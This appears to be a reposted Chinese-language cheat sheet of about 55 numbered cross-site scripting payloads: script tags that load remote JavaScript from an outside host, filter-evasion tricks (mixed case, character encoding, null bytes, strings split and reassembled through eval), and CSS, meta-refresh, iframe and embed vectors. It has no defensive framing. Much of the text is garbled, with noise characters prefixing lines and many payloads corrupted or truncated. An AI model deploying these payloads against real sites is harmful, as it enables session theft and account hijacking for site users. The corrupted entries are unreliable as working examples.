XSS攻击汇总

admin

(1)普通的XSS JavaScript注入
. \+ s& B3 |& s9 I( O& V<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
5 f* C5 O) S/ O2 q9 z6 r(99)另类弹框
<q/oncut=alert()>1
<s/onclick=alert()>b
<XSS=" onclick="alert(1)//">clickme</SSX=">
<zzz onclick=alert`1`>clickme</zzz>
; Q( P+ N2 ~' ], `5 { <a onclick=alert`1`>clickme</a>
<a=">clickme</a=">
  L+ w- R/ N+ S. F<a=">clickme</a>
<z=">clickme</z=">
<z onclick=alert`1`>clickme</z>
1 a: m. O( f5 t1 P
(2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
2 y) ]0 |+ C; x8 @3 g( l
(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>
$ `9 `. U5 R9 `  X
(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
7 [+ A2 s. S4 \% }
(5)HTML编码(必须有分号)
) ~+ }( M3 C# R0 M2 F3 d<IMG SRC=javascript:alert(“XSS”)>

(6)修正缺陷IMG标签
9 U/ \/ f6 B+ q1 z: g  `<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
  v; a+ ~( U& H" Z, r: |' p! g, c
: \' \$ K  p' H+ c6 W9 C(7)formCharCode标签(计算器)
- u0 k6 O4 B  ]$ g( L$ S% C<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

(8)UTF-8的Unicode编码(计算器)
5 m% z( y( S! _0 T<IMG SRC=jav..省略..S')>
$ R- N6 K: H9 j$ i" \$ W
$ N, o  k5 g- T5 C(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>

(10)十六进制编码也是没有分号(计算器)
<IMG SRC=\'#\'" /span>

(11)嵌入式标签,将Javascript分开
4 ?! X& k/ N& {2 k2 S<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

(12)嵌入式编码标签,将Javascript分开
& Z9 `5 M/ u. F5 \" N! ^<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

(13)嵌入式换行符
7 y0 H! O$ s9 F4 X<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
6 l( z6 l1 X! N' k5 D
# g! b, f& J7 j: v(14)嵌入式回车
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
7 n, V% O9 i: M4 A8 |: h; \
, ^$ D6 \9 H' o9 s, o5 H' B7 I(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=\'#\'" /span>

" [$ T! M' C$ Y% K7 A(16)解决限制字符(要求同页面)
  W" L) L- n; P<script>z=’document.’</script>
( L' T8 H/ A- A) k" ~1 {, s' Y<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
* {% \6 x  x. P# w<script>z=z+’ src=ht’</script>
8 v) w' P- j2 y9 H' m<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
" T7 q3 m7 H5 T, I/ D1 ?- A<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
5 D1 x3 P7 {- X% x0 e<script>eval_r(z)</script>
( K8 N' o# q  f2 v7 P
& P& y- C/ B! }2 e(17)空字符
7 P* M/ h0 L: j3 V4 o3 xperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
% {% c% v: }4 {2 r' X9 t) o
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
7 V0 N' w) \! g" I5 \/ tperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

(19)Spaces和meta前的IMG标签
9 K- m! i7 T6 D( W& k% g- Z  _<IMG SRC=\'#\'"   javascript:alert(‘XSS’);”>

3 E7 U( k# m8 {1 E3 g(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>

& Y5 A1 i( \5 Y1 i) Q; J- Y; n(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>

3 k0 ?) F) y! [2 \" H. Y9 X! G(23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
) t7 M' o% e; o/ T5 g% P
1 e, X4 n/ ~$ p; ]0 u9 t6 {(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>

0 l: [6 Z, `5 L. h$ l+ a- T7 B: m(25)无结束脚本标记2
# o6 ?0 b2 x; V! f, F<SCRIPT SRC=//3w.org/XSS/xss.js>

(26)半开的HTML/JavaScript XSS
3 W0 ?( j: N8 L# m9 V& A  ]- T<IMG SRC=\'#\'" /span>
' l  d  b7 u; B$ j/ S
(27)双开角括号
<iframe src=http://3w.org/XSS.html <

(28)无单引号 双引号 分号
# V2 D% T; n3 o* R7 E<SCRIPT>a=/XSS/
, ]# U9 d2 v) Z$ Q$ |  u" ualert(a.source)</SCRIPT>
7 c, i% Y. W% U7 }, d5 i# o
(29)换码过滤的JavaScript
\”;alert(‘XSS’);//
) O; H9 Y+ Y- ?; d
6 s: ^. w6 r0 p0 v(30)结束Title标签
% {/ u/ R. l" U. |, ^$ }</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

$ [1 O$ n: R+ \+ J! g(31)Input Image
<INPUT SRC=\'#\'" /span>

$ C" j. h/ \6 V5 f3 B(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
9 L. V# X0 ^, _5 J% N* y
6 i. h. P. n5 z& m6 g(33)BODY标签
* @+ e- y. `4 r! l$ E1 V8 O5 ~& P<BODY(‘XSS’)>

$ o1 z7 `. v3 ]- p5 c(34)IMG Dynsrc
<IMG DYNSRC=\'#\'" /span>
+ S2 i# m! f& L. c) k% N# n% |
(35)IMG Lowsrc
9 S8 e0 g3 X0 r<IMG LOWSRC=\'#\'" /span>

' P) I) G, X. ^8 w# c(36)BGSOUND
<BGSOUND SRC=\'#\'" /span>

2 X. b) f9 C9 c& ~( e  n(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

(38)远程样式表
) x, \! v7 X/ |<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
. h( _9 k# e7 q
(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
: s& w+ M, X$ i' h! x- q7 A7 g
$ s& R1 [0 U7 E% h5 j2 Z. j  F(40)IMG VBscript
* H% s# j% o) T<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
. O) f+ }! k! y3 S' Q7 u
4 e. P) i& Q9 i(41)META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>

(42)Iframe
9 R* z$ K& B1 ]3 h8 W. T9 l7 A<IFRAME SRC=\'#\'" /IFRAME>
* }0 G/ @% v, F! _' T, ]5 Y; \4 ^
(43)Frame
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>

, i' T/ |' u: |* p(44)Table
; Q! p$ O" Q; P: O# i<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>

(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>

5 S8 Z3 @. N' Q$ o6 i1 q/ H(46)DIV background-image
  ^, j' E/ H8 q# r7 N7 N: V; F<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
1 J# A2 c: q2 l. p7 I6 o<DIV STYLE=”background-image: url(
javascript:alert(‘XSS’))”>

% n& Z! P9 V# p(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

(49)STYLE属性分拆表达
3 @( v( d, v( T( q, R, ?) n<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>

(50)匿名STYLE(组成:开角号和一个字母开头)
& |. ^4 W9 _6 F0 S<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>

(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
  g4 i0 C  m6 J
(52)IMG STYLE方式
exppression(alert(“XSS”))’>
" D! V/ [) x  V# [
(53)STYLE background
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
0 T$ d# x! w& H7 K( `) y: D& v( c
" C3 J7 z0 v; t8 B8 `% i( `(54)BASE
* b* K: i) N1 Q3 Q$ A; D<BASE HREF=”javascript:alert(‘XSS’);//”>

, I+ z: g! F' z9 T. \! O(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
0 s" ]7 b6 P% \0 y0 }# l<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>